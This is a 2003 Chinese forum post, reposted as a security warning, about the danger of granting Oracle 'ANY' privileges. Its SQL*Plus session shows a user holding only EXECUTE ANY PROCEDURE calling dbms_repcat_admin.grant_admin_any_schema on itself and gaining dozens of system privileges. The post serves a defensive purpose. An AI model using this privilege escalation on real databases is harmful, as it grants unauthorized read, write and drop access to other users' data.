- UID
- 44263
- 阅读权限
- 20
- 帖子
- 1143
- 精华贴数
- 0
- 技术排名
- 1242
- 技术积分
- 1968
- 社区排名
- 2685
- 社区积分
- 352
- 注册时间
- 2003-4-24
- 精华贴数
- 0
- 技术积分
- 1968
- 社区积分
- 352
- 注册时间
- 2003-4-24
- 论坛徽章:
- 2
|
发表于 2003-12-12 17:52:27
|显示全部楼层
添加一个安全问题,声明是转来的。
概述:不要给用户赋予含有'any‘的权限。否则会有很大的安全隐患。下个转来的例子是一个赋予了EXECUTE ANY PROCEDURE
的权限。
Oracle8i Enterprise Edition Release 8.1.7.4.0 - Production
With the Partitioning option
JServer Release 8.1.7.4.0 - Production
12:39:26 SQL> sho user
USER is "SYSTEM"
12:39:28 SQL> sho parameter o7
NAME TYPE VALUE
------------------------------------ --------------------
------------------------------
O7_DICTIONARY_ACCESSIBILITY boolean TRUE
12:39:33 SQL> create user lowlife identified by highlife default tablespace
users temporary tablespace temp;
User created.
Elapsed: 00:00:00.00
12:40:36 SQL> grant create session, execute any procedure to lowlife;
Grant succeeded.
Elapsed: 00:00:00.00
12:40:48 SQL> conn lowlife/highlife
Connected.
12:40:59 SQL> select * from session_privs;
PRIVILEGE
----------------------------------------
CREATE SESSION
EXECUTE ANY PROCEDURE
2 rows selected.
Elapsed: 00:00:00.00
12:41:05 SQL> exec dbms_repcat_admin.grant_admin_any_schema('lowlife')
PL/SQL procedure successfully completed.
Elapsed: 00:00:01.01
12:41:30 SQL> select * from session_privs;
PRIVILEGE
----------------------------------------
CREATE SESSION
ALTER SESSION
UNLIMITED TABLESPACE
CREATE ANY TABLE
ALTER ANY TABLE
DROP ANY TABLE
COMMENT ANY TABLE
SELECT ANY TABLE
INSERT ANY TABLE
UPDATE ANY TABLE
DELETE ANY TABLE
CREATE ANY CLUSTER
ALTER ANY CLUSTER
DROP ANY CLUSTER
CREATE ANY INDEX
ALTER ANY INDEX
DROP ANY INDEX
CREATE ANY SYNONYM
DROP ANY SYNONYM
CREATE PUBLIC SYNONYM
DROP PUBLIC SYNONYM
CREATE ANY VIEW
DROP ANY VIEW
CREATE ANY SEQUENCE
ALTER ANY SEQUENCE
DROP ANY SEQUENCE
CREATE DATABASE LINK
CREATE ANY PROCEDURE
ALTER ANY PROCEDURE
DROP ANY PROCEDURE
EXECUTE ANY PROCEDURE
CREATE ANY TRIGGER
ALTER ANY TRIGGER
DROP ANY TRIGGER
CREATE ANY SNAPSHOT
ALTER ANY SNAPSHOT
DROP ANY SNAPSHOT
37 rows selected.
Elapsed: 00:00:00.00
12:41:36 SQL> |
|